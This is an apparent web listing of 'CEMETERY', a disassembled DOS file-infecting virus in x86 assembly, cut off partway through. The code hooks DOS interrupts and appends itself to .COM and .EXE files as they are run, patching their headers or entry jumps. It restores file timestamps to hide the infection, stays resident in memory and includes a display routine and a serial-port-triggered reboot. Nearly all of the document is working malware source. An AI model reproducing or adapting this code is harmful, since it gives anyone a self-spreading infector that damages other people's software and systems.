home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / CEMETARY.ASM < prev    next >
Assembly Source File  |  1992-09-13  |  17KB  |  738 lines

  1.   
  2. PAGE  60,132
  3.   
  4. ;██████████████████████████████████████████████████████████████████████████
  5. ;██                                         ██
  6. ;██                    CEMETERY                     ██
  7. ;██                                         ██
  8. ;██      Created:   4-Mar-91                             ██
  9. ;██                                         ██
  10. ;██████████████████████████████████████████████████████████████████████████
  11.   
  12. data_1e        equ    4Ch                ; (0000:004C=31h)
  13. data_2e        equ    4Eh                ; (0000:004E=70h)
  14. data_3e        equ    70h                ; (0000:0070=0FF33h)
  15. data_4e        equ    72h                ; (0000:0072=0F000h)
  16. data_5e        equ    84h                ; (0000:0084=0E3h)
  17. data_6e        equ    86h                ; (0000:0086=161Ah)
  18. data_7e        equ    90h                ; (0000:0090=8Eh)
  19. data_8e        equ    92h                ; (0000:0092=1498h)
  20. data_9e        equ    102h                ; (0000:0102=0CC00h)
  21. data_10e    equ    106h                ; (0000:0106=326h)
  22. data_11e    equ    450h                ; (0000:0450=184Fh)
  23. data_12e    equ    46Ch                ; (0000:046C=0C4BCh)
  24. data_13e    equ    46Eh                ; (0000:046E=10h)
  25. data_14e    equ    47Bh                ; (0000:047B=0)
  26. data_15e    equ    0                ; (0326:0000=6A7h)
  27. data_16e    equ    2                ; (0326:0002=70h)
  28. data_17e    equ    0                ; (0687:0000=81h)
  29. data_18e    equ    1                ; (0688:0001=0FF17h)
  30. data_19e    equ    2                ; (06E3:0002=2342h)
  31. data_20e    equ    6                ; (06E3:0006=2344h)
  32. data_46e    equ    0FBF0h                ; (701E:FBF0=0)
  33. data_47e    equ    0FBF2h                ; (701E:FBF2=0)
  34. data_48e    equ    0FC10h                ; (701E:FC10=0)
  35. data_49e    equ    0FC12h                ; (701E:FC12=0)
  36. data_50e    equ    0FC14h                ; (701E:FC14=0)
  37. data_51e    equ    0FC1Eh                ; (701E:FC1E=0)
  38. data_52e    equ    0FC20h                ; (701E:FC20=0)
  39. data_53e    equ    0FC26h                ; (701E:FC26=0)
  40. data_54e    equ    0FC28h                ; (701E:FC28=0)
  41.   
  42. code_seg_a    segment
  43.         assume    cs:code_seg_a, ds:code_seg_a
  44.   
  45.   
  46.         org    100h
  47.   
  48. cemetery    proc    far
  49.   
  50. start:
  51. data_21        dw    0CE9h
  52. data_22        dw    0C304h
  53.         db    23 dup (0C3h)
  54.         db    'CEMETERY'
  55. data_24        dw    0C3C3h
  56. data_25        dw    0C3C3h
  57. data_26        dw    0
  58. data_27        dw    0
  59. data_28        dw    0
  60. data_29        dw    0
  61. data_30        dw    0
  62. data_31        dd    00000h
  63. data_32        dw    0
  64. data_33        dw    0
  65. data_34        dd    00000h
  66. data_35        dw    0
  67. data_36        dw    0
  68.         db    68h, 0E8h, 55h, 3, 90h, 3Dh
  69.         db    4Dh, 4Bh, 75h, 9, 55h, 8Bh
  70.         db    0ECh, 83h, 66h, 6, 0FEh, 5Dh
  71.         db    0CFh, 80h, 0FCh, 4Bh, 74h, 12h
  72.         db    3Dh, 0, 3Dh, 74h, 0Dh, 3Dh
  73.         db    0, 6Ch, 75h, 5, 80h, 0FBh
  74.         db    0, 74h, 3
  75. loc_1:
  76.         jmp    loc_13
  77. loc_2:
  78.         push    es
  79.         push    ds
  80.         push    di
  81.         push    si
  82.         push    bp
  83.         push    dx
  84.         push    cx
  85.         push    bx
  86.         push    ax
  87.         call    sub_6
  88.         call    sub_7
  89.         cmp    ax,6C00h
  90.         jne    loc_3                ; Jump if not equal
  91.         mov    dx,si
  92. loc_3:
  93.         mov    cx,80h
  94.         mov    si,dx
  95.   
  96. locloop_4:
  97.         inc    si
  98.         mov    al,[si]
  99.         or    al,al                ; Zero ?
  100.         loopnz    locloop_4            ; Loop if zf=0, cx>0
  101.   
  102.         sub    si,2
  103.         cmp    word ptr [si],4D4Fh
  104.         je    loc_7                ; Jump if equal
  105.         cmp    word ptr [si],4558h
  106.         je    loc_6                ; Jump if equal
  107. loc_5:
  108.         jmp    short loc_12
  109.         db    90h
  110. loc_6:
  111.         cmp    word ptr [si-2],452Eh
  112.         nop
  113.         jz    loc_8                ; Jump if zero
  114.         jmp    short loc_5
  115. loc_7:
  116.         cmp    word ptr [si-2],432Eh
  117.         jne    loc_5                ; Jump if not equal
  118.         cmp    word ptr [si-4],444Eh
  119.         jne    loc_5                ; Jump if not equal
  120. loc_8:
  121.         mov    ax,3D02h
  122.         call    sub_5
  123.         jc    loc_12                ; Jump if carry Set
  124.         mov    bx,ax
  125.         mov    ax,5700h
  126.         call    sub_5
  127.         mov    cs:data_27,cx            ; (701E:0129=0)
  128.         mov    cs:data_28,dx            ; (701E:012B=0)
  129.         mov    ax,4200h
  130.         xor    cx,cx                ; Zero register
  131.         xor    dx,dx                ; Zero register
  132.         call    sub_5
  133.         push    cs
  134.         pop    ds
  135.         mov    dx,103h
  136.         mov    si,dx
  137.         mov    cx,18h
  138.         mov    ah,3Fh                ; '?'
  139.         call    sub_5
  140.         jc    loc_10                ; Jump if carry Set
  141.         cmp    word ptr [si],5A4Dh
  142.         jne    loc_9                ; Jump if not equal
  143.         call    sub_1
  144.         jmp    short loc_10
  145. loc_9:
  146.         call    sub_4
  147. loc_10:
  148.         jc    loc_11                ; Jump if carry Set
  149.         mov    ax,5701h
  150.         mov    cx,cs:data_27            ; (701E:0129=0)
  151.         mov    dx,cs:data_28            ; (701E:012B=0)
  152.         call    sub_5
  153. loc_11:
  154.         mov    ah,3Eh                ; '>'
  155.         call    sub_5
  156. loc_12:
  157.         call    sub_7
  158.         pop    ax
  159.         pop    bx
  160.         pop    cx
  161.         pop    dx
  162.         pop    bp
  163.         pop    si
  164.         pop    di
  165.         pop    ds
  166.         pop    es
  167. loc_13:
  168.         jmp    cs:data_31            ; (701E:0131=0)
  169.   
  170. cemetery    endp
  171.   
  172. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  173. ;                   SUBROUTINE
  174. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  175.   
  176. sub_1        proc    near
  177.         mov    cx,[si+16h]
  178.         add    cx,[si+8]
  179.         mov    ax,10h
  180.         mul    cx                ; dx:ax = reg * ax
  181.         add    ax,[si+14h]
  182.         adc    dx,0
  183.         push    dx
  184.         push    ax
  185.         mov    ax,4202h
  186.         xor    cx,cx                ; Zero register
  187.         xor    dx,dx                ; Zero register
  188.         call    sub_5
  189.         cmp    dx,0
  190.         jne    loc_14                ; Jump if not equal
  191.         cmp    ax,589h
  192.         jae    loc_14                ; Jump if above or =
  193.         pop    ax
  194.         pop    dx
  195.         stc                    ; Set carry flag
  196.         ret
  197. loc_14:
  198.         mov    di,ax
  199.         mov    bp,dx
  200.         pop    cx
  201.         sub    ax,cx
  202.         pop    cx
  203.         sbb    dx,cx
  204.         cmp    word ptr [si+0Ch],0
  205.         je    loc_ret_17            ; Jump if equal
  206.         cmp    dx,0
  207.         jne    loc_15                ; Jump if not equal
  208.         cmp    ax,589h
  209.         jne    loc_15                ; Jump if not equal
  210.         stc                    ; Set carry flag
  211.         ret
  212. loc_15:
  213.         mov    dx,bp
  214.         mov    ax,di
  215.         push    dx
  216.         push    ax
  217.         add    ax,589h
  218.         adc    dx,0
  219.         mov    cx,200h
  220.         div    cx                ; ax,dx rem=dx:ax/reg
  221.         les    di,dword ptr [si+2]        ; Load 32 bit ptr
  222.         mov    cs:data_29,di            ; (701E:012D=0)
  223.         mov    cs:data_30,es            ; (701E:012F=0)
  224.         mov    [si+2],dx
  225.         cmp    dx,0
  226.         je    loc_16                ; Jump if equal
  227.         inc    ax
  228. loc_16:
  229.         mov    [si+4],ax
  230.         pop    ax
  231.         pop    dx
  232.         call    sub_2
  233.         sub    ax,[si+8]
  234.         les    di,dword ptr [si+14h]        ; Load 32 bit ptr
  235.         mov    data_24,di            ; (701E:0123=0C3C3h)
  236.         mov    data_25,es            ; (701E:0125=0C3C3h)
  237.         mov    [si+14h],dx
  238.         mov    [si+16h],ax
  239.         mov    word ptr data_26,ax        ; (701E:0127=0)
  240.         mov    ax,4202h
  241.         xor    cx,cx                ; Zero register
  242.         xor    dx,dx                ; Zero register
  243.         call    sub_5
  244.         call    sub_3
  245.         jc    loc_ret_17            ; Jump if carry Set
  246.         mov    ax,4200h
  247.         xor    cx,cx                ; Zero register
  248.         xor    dx,dx                ; Zero register
  249.         call    sub_5
  250.         mov    ah,40h                ; '@'
  251.         mov    dx,si
  252.         mov    cx,18h
  253.         call    sub_5
  254.   
  255. loc_ret_17:
  256.         ret
  257. sub_1        endp
  258.   
  259.   
  260. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  261. ;                   SUBROUTINE
  262. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  263.   
  264. sub_2        proc    near
  265.         mov    cx,4
  266.         mov    di,ax
  267.         and    di,0Fh
  268.   
  269. locloop_18:
  270.         shr    dx,1                ; Shift w/zeros fill
  271.         rcr    ax,1                ; Rotate thru carry
  272.         loop    locloop_18            ; Loop if cx > 0
  273.   
  274.         mov    dx,di
  275.         ret
  276. sub_2        endp
  277.   
  278.   
  279. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  280. ;                   SUBROUTINE
  281. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  282.   
  283. sub_3        proc    near
  284.         mov    ah,40h                ; '@'
  285.         mov    cx,589h
  286.         mov    dx,100h
  287.         call    sub_6
  288.         jmp    short loc_22
  289.         db    90h
  290.   
  291. ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  292.   
  293. sub_4:
  294.         mov    ax,4202h
  295.         xor    cx,cx                ; Zero register
  296.         xor    dx,dx                ; Zero register
  297.         call    sub_5
  298.         cmp    ax,589h
  299.         jb    loc_ret_21            ; Jump if below
  300.         cmp    ax,0FA00h
  301.         jae    loc_ret_21            ; Jump if above or =
  302.         push    ax
  303.         cmp    byte ptr [si],0E9h
  304.         jne    loc_19                ; Jump if not equal
  305.         sub    ax,58Ch
  306.         cmp    ax,[si+1]
  307.         jne    loc_19                ; Jump if not equal
  308.         pop    ax
  309.         stc                    ; Set carry flag
  310.         ret
  311. loc_19:
  312.         call    sub_3
  313.         jnc    loc_20                ; Jump if carry=0
  314.         pop    ax
  315.         ret
  316. loc_20:
  317.         mov    ax,4200h
  318.         xor    cx,cx                ; Zero register
  319.         xor    dx,dx                ; Zero register
  320.         call    sub_5
  321.         pop    ax
  322.         sub    ax,3
  323.         mov    dx,123h
  324.         mov    si,dx
  325.         mov    byte ptr cs:[si],0E9h
  326.         mov    cs:[si+1],ax
  327.         mov    ah,40h                ; '@'
  328.         mov    cx,3
  329.         call    sub_5
  330.   
  331. loc_ret_21:
  332.         ret
  333. sub_3        endp
  334.   
  335.   
  336. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  337. ;                   SUBROUTINE
  338. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  339.   
  340. sub_5        proc    near
  341. loc_22:
  342.         pushf                    ; Push flags
  343.         call    cs:data_31            ; (701E:0131=0)
  344.         ret
  345. sub_5        endp
  346.   
  347.   
  348. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  349. ;                   SUBROUTINE
  350. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  351.   
  352. sub_6        proc    near
  353.         push    ax
  354.         push    ds
  355.         push    es
  356.         xor    ax,ax                ; Zero register
  357.         push    ax
  358.         pop    ds
  359.         cli                    ; Disable interrupts
  360.         les    ax,dword ptr ds:data_7e        ; (0000:0090=18Eh) Load 32 bit ptr
  361.         mov    cs:data_32,ax            ; (701E:0135=0)
  362.         mov    cs:data_33,es            ; (701E:0137=0)
  363.         mov    ax,3ABh
  364.         mov    ds:data_7e,ax            ; (0000:0090=18Eh)
  365.         mov    ds:data_8e,cs            ; (0000:0092=1498h)
  366.         les    ax,dword ptr ds:data_1e        ; (0000:004C=831h) Load 32 bit ptr
  367.         mov    cs:data_35,ax            ; (701E:013D=0)
  368.         mov    cs:data_36,es            ; (701E:013F=0)
  369.         les    ax,cs:data_34            ; (701E:0139=0) Load 32 bit ptr
  370.         mov    ds:data_1e,ax            ; (0000:004C=831h)
  371.         mov    ds:data_2e,es            ; (0000:004E=70h)
  372.         sti                    ; Enable interrupts
  373.         pop    es
  374.         pop    ds
  375.         pop    ax
  376.         ret
  377. sub_6        endp
  378.   
  379.   
  380. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  381. ;                   SUBROUTINE
  382. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  383.   
  384. sub_7        proc    near
  385.         push    ax
  386.         push    ds
  387.         push    es
  388.         xor    ax,ax                ; Zero register
  389.         push    ax
  390.         pop    ds
  391.         cli                    ; Disable interrupts
  392.         les    ax,dword ptr cs:data_32        ; (701E:0135=0) Load 32 bit ptr
  393.         mov    ds:data_7e,ax            ; (0000:0090=18Eh)
  394.         mov    ds:data_8e,es            ; (0000:0092=1498h)
  395.         les    ax,dword ptr cs:data_35        ; (701E:013D=0) Load 32 bit ptr
  396.         mov    ds:data_1e,ax            ; (0000:004C=831h)
  397.         mov    ds:data_2e,es            ; (0000:004E=70h)
  398.         sti                    ; Enable interrupts
  399.         pop    es
  400.         pop    ds
  401.         pop    ax
  402.         ret
  403. sub_7        endp
  404.   
  405.         db    0B0h, 3, 0CFh, 50h, 53h, 51h
  406.         db    2Eh, 0A3h, 0FEh, 3, 2Eh, 0A1h
  407.         db    0F7h, 3, 0A3h, 50h, 4, 2Eh
  408.         db    0A1h, 0F5h, 3, 8Ah, 0DCh, 0B4h
  409.         db    9, 0B9h, 1, 0, 0CDh, 10h
  410.         db    0E8h, 34h, 0, 0E8h, 0B7h, 0
  411.         db    2Eh, 0A1h, 0F7h, 3, 0A3h, 50h
  412.         db    4, 0B3h, 7, 0B8h, 7, 9
  413.         db    0B9h, 1, 0, 0CDh, 10h, 2Eh
  414.         db    0A1h, 0FEh, 3, 0A3h, 50h, 4
  415.         db    7, 1Fh
  416.         db    ']_^ZY[X.'
  417.         db    0FFh, 2Eh, 0FAh, 3
  418. data_37        dw    0
  419. data_38        db    10h
  420. data_39        db    10h
  421. data_40        db    0
  422. data_41        dw    0
  423. data_42        dw    0
  424.         db    0, 0, 2Eh, 0A1h, 0F7h, 3
  425.         db    8Bh, 1Eh, 4Ah, 4, 4Bh, 2Eh
  426.         db    0F6h, 6, 0F9h, 3, 1, 74h
  427.         db    0Ch, 3Ah, 0C3h, 72h, 12h, 2Eh
  428.         db    80h, 36h, 0F9h, 3, 1, 0EBh
  429.         db    0Ah
  430. loc_23:
  431.         cmp    al,0
  432.         jg    loc_24                ; Jump if >
  433.         xor    byte ptr cs:data_40,1        ; (701E:03F9=0)
  434. loc_24:
  435.         test    byte ptr cs:data_40,2        ; (701E:03F9=0)
  436.         jz    loc_25                ; Jump if zero
  437.         cmp    ah,18h
  438.         jb    loc_26                ; Jump if below
  439.         xor    byte ptr cs:data_40,2        ; (701E:03F9=0)
  440.         jmp    short loc_26
  441. loc_25:
  442.         cmp    ah,0
  443.         jg    loc_26                ; Jump if >
  444.         xor    byte ptr cs:data_40,2        ; (701E:03F9=0)
  445. loc_26:
  446.         cmp    byte ptr cs:data_37,20h        ; (701E:03F5=0) ' '
  447.         je    loc_27                ; Jump if equal
  448.         db    2Eh
  449. data_44        dw    3E80h
  450.         db    0F8h, 3, 0, 74h, 6, 2Eh
  451.         db    80h, 36h, 0F9h, 3, 2
  452. loc_27:
  453.         test    byte ptr cs:data_40,1        ; (701E:03F9=0)
  454.         jz    loc_28                ; Jump if zero
  455.         inc    cs:data_38            ; (701E:03F7=10h)
  456.         jmp    short loc_29
  457. loc_28:
  458.         dec    cs:data_38            ; (701E:03F7=10h)
  459. loc_29:
  460.         test    byte ptr cs:data_40,2        ; (701E:03F9=0)
  461.         jz    loc_30                ; Jump if zero
  462.         inc    cs:data_39            ; (701E:03F8=10h)
  463.         jmp    short loc_ret_31
  464. loc_30:
  465.         dec    cs:data_39            ; (701E:03F8=10h)
  466.   
  467. loc_ret_31:
  468.         ret
  469.   
  470. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  471. ;                   SUBROUTINE
  472. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  473.   
  474. sub_8        proc    near
  475.         mov    ax,word ptr cs:data_38        ; (701E:03F7=1010h)
  476.         mov    ds:data_11e,ax            ; (0000:0450=184Fh)
  477.         mov    bh,data_55            ; (0000:0462=0D400h)
  478.         mov    ah,8
  479.         int    10h                ; Video display   ah=functn 08h
  480.                             ;  get char al & attrib ah @curs
  481.         mov    cs:data_37,ax            ; (701E:03F5=0)
  482.         ret
  483. sub_8        endp
  484.   
  485.         db    50h, 53h, 51h, 52h, 56h, 57h
  486.         db    55h, 1Eh, 6, 33h, 0C0h, 50h
  487.         db    1Fh, 81h, 3Eh, 70h, 0, 0AEh
  488.         db    3, 74h, 35h, 0A1h, 6Ch, 4
  489.         db    8Bh, 16h, 6Eh, 4, 0B9h, 0FFh
  490.         db    0FFh, 0F7h, 0F1h, 3Dh, 10h, 0
  491.         db    75h, 24h, 0FAh, 8Bh, 2Eh, 50h
  492.         db    4, 0E8h, 0BEh, 0FFh, 89h, 2Eh
  493.         db    50h, 4, 0C4h, 6, 70h, 0
  494.         db    2Eh, 0A3h, 0FAh, 3, 2Eh, 8Ch
  495.         db    6, 0FCh, 3, 0C7h, 6, 70h
  496.         db    0, 0AEh, 3, 8Ch, 0Eh, 72h
  497.         db    0, 0FBh
  498. loc_32:
  499.         mov    ah,2
  500.         int    14h                ; RS-232   dx=com1, ah=func 02h
  501.                             ;  get char al, ah=return status
  502.         cmp    al,31h                ; '1'
  503.         je    loc_33                ; Jump if equal
  504.         jnz    loc_34                ; Jump if not zero
  505. loc_33:
  506.         int    19h                ; Bootstrap loader
  507. loc_34:
  508.         pop    es
  509.         pop    ds
  510.         pop    bp
  511.         pop    di
  512.         pop    si
  513.         pop    dx
  514.         pop    cx
  515.         pop    bx
  516.         pop    ax
  517.         ret
  518.   
  519. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  520. ;                   SUBROUTINE
  521. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  522.   
  523. sub_9        proc    near
  524.         mov    dx,10h
  525.         mul    dx                ; dx:ax = reg * ax
  526.         ret
  527. sub_9        endp
  528.   
  529.   
  530. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  531. ;                   SUBROUTINE
  532. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  533.   
  534. sub_10        proc    near
  535.         xor    ax,ax                ; Zero register
  536.         xor    bx,bx                ; Zero register
  537.         xor    cx,cx                ; Zero register
  538.         xor    dx,dx                ; Zero register
  539.         xor    si,si                ; Zero register
  540.         xor    di,di                ; Zero register
  541.         xor    bp,bp                ; Zero register
  542.         ret
  543. sub_10        endp
  544.   
  545.         db    1Eh, 0E8h, 0, 0
  546.   
  547. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  548. ;                   SUBROUTINE
  549. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  550.   
  551. sub_11        proc    near
  552.         mov    ax,4B4Dh
  553.         int    21h                ; DOS Services  ah=function 4Bh
  554.                             ;  run progm @ds:dx, parm @es:bx
  555.         jc    loc_35                ; Jump if carry Set
  556.         jmp    loc_45
  557. loc_35:
  558.         pop    si
  559.         push    si
  560.         mov    di,si
  561.         xor    ax,ax                ; Zero register
  562.         push    ax
  563.         pop    ds
  564.         les    ax,dword ptr ds:data_1e        ; (0000:004C=831h) Load 32 bit ptr
  565.         mov    cs:data_53e[si],ax        ; (701E:FC26=0)
  566.         mov    cs:data_54e[si],es        ; (701E:FC28=0)
  567.         les    bx,dword ptr ds:data_5e        ; (0000:0084=6E3h) Load 32 bit ptr
  568.         mov    cs:data_51e[di],bx        ; (701E:FC1E=0)
  569.         mov    cs:data_52e[di],es        ; (701E:FC20=0)
  570.         mov    ax,ds:data_9e            ; (0000:0102=0CC00h)
  571.         cmp    ax,0F000h
  572.         jne    loc_43                ; Jump if not equal
  573.         mov    dl,80h
  574.         mov    ax,ds:data_10e            ; (0000:0106=326h)
  575.         cmp    ax,0F000h
  576.         je    loc_36                ; Jump if equal
  577.         cmp    ah,0C8h
  578.         jb    loc_43                ; Jump if below
  579.         cmp    ah,0F4h
  580.         jae    loc_43                ; Jump if above or =
  581.         test    al,7Fh
  582.         jnz    loc_43                ; Jump if not zero
  583.         mov    ds,ax
  584.         cmp    word ptr ds:data_15e,0AA55h    ; (0326:0000=6A7h)
  585.         jne    loc_43                ; Jump if not equal
  586.         mov    dl,ds:data_16e            ; (0326:0002=70h)
  587. loc_36:
  588.         mov    ds,ax
  589.         xor    dh,dh                ; Zero register
  590.         mov    cl,9
  591.         shl    dx,cl                ; Shift w/zeros fill
  592.         mov    cx,dx
  593.         xor    si,si                ; Zero register
  594.   
  595. locloop_37:
  596.         lodsw                    ; String [si] to ax
  597.         cmp    ax,0FA80h
  598.         jne    loc_38                ; Jump if not equal
  599.         lodsw                    ; String [si] to ax
  600.         cmp    ax,7380h
  601.         je    loc_39                ; Jump if equal
  602.         jnz    loc_40                ; Jump if not zero
  603. loc_38:
  604.         cmp    ax,0C2F6h
  605.         jne    loc_41                ; Jump if not equal
  606.         lodsw                    ; String [si] to ax
  607.         cmp    ax,7580h
  608.         jne    loc_40                ; Jump if not equal
  609. loc_39:
  610.         inc    si
  611.         lodsw                    ; String [si] to ax
  612.         cmp    ax,40CDh
  613.         je    loc_42                ; Jump if equal
  614.         sub    si,3
  615. loc_40:
  616.         dec    si
  617.         dec    si
  618. loc_41:
  619.         dec    si
  620.         loop    locloop_37            ; Loop if cx > 0
  621.   
  622.         jmp    short loc_43
  623. loc_42:
  624.         sub    si,7
  625.         mov    cs:data_53e[di],si        ; (701E:FC26=0)
  626.         mov    cs:data_54e[di],ds        ; (701E:FC28=0)
  627. loc_43:
  628.         mov    ah,62h                ; 'b'
  629.         int    21h                ; DOS Services  ah=function 62h
  630.                             ;  get progrm seg prefix addr bx
  631.         mov    es,bx
  632.         mov    ah,49h                ; 'I'
  633.         int    21h                ; DOS Services  ah=function 49h
  634.                             ;  release memory block, es=seg
  635.         mov    bx,0FFFFh
  636.         mov    ah,48h                ; 'H'
  637.         int    21h                ; DOS Services  ah=function 48h
  638.                             ;  allocate memory, bx=bytes/16
  639.         sub    bx,5Ah
  640.         nop
  641.         jc    loc_45                ; Jump if carry Set
  642.         mov    cx,es
  643.         stc                    ; Set carry flag
  644.         adc    cx,bx
  645.         mov    ah,4Ah                ; 'J'
  646.         int    21h                ; DOS Services  ah=function 4Ah
  647.                             ;  change mem allocation, bx=siz
  648.         mov    bx,59h
  649.         stc                    ; Set carry flag
  650.         sbb    es:data_19e,bx            ; (06E3:0002=2342h)
  651.         push    es
  652.         mov    es,cx
  653.         mov    ah,4Ah                ; 'J'
  654.         int    21h                ; DOS Services  ah=function 4Ah
  655.                             ;  change mem allocation, bx=siz
  656.         mov    ax,es
  657.         dec    ax
  658.         mov    ds,ax
  659.         mov    word ptr ds:data_18e,8        ; (0688:0001=0FF17h)
  660.         call    sub_9
  661.         mov    bx,ax
  662.         mov    cx,dx
  663.         pop    ds
  664.         mov    ax,ds
  665.         call    sub_9
  666.         add    ax,ds:data_20e            ; (06E3:0006=2344h)
  667.         adc    dx,0
  668.         sub    ax,bx
  669.         sbb    dx,cx
  670.         jc    loc_44                ; Jump if carry Set
  671.         sub    ds:data_20e,ax            ; (06E3:0006=2344h)
  672. loc_44:
  673.         mov    si,di
  674.         xor    di,di                ; Zero register
  675.         push    cs
  676.         pop    ds
  677.         sub    si,413h
  678.         mov    cx,589h
  679.         inc    cx
  680.         rep    movsb                ; Rep while cx>0 Mov [si] to es:[di]
  681.         mov    ah,62h                ; 'b'
  682.         int    21h                ; DOS Services  ah=function 62h
  683.                             ;  get progrm seg prefix addr bx
  684.         dec    bx
  685.         mov    ds,bx
  686.         mov    byte ptr ds:data_17e,5Ah    ; (0687:0000=81h) 'Z'
  687.         mov    dx,142h
  688.         xor    ax,ax                ; Zero register
  689.         push    ax
  690.         pop    ds
  691.         mov    ax,es
  692.         sub    ax,10h
  693.         mov    es,ax
  694.         cli                    ; Disable interrupts
  695.         mov    ds:data_5e,dx            ; (0000:0084=6E3h)
  696.         mov    ds:data_6e,es            ; (0000:0086=161Ah)
  697.         sti                    ; Enable interrupts
  698.         dec    byte ptr ds:data_14e        ; (0000:047B=0)
  699. loc_45:
  700.         pop    si
  701.         cmp    word ptr cs:data_46e[si],5A4Dh    ; (701E:FBF0=0)
  702.         jne    loc_46                ; Jump if not equal
  703.         pop    ds
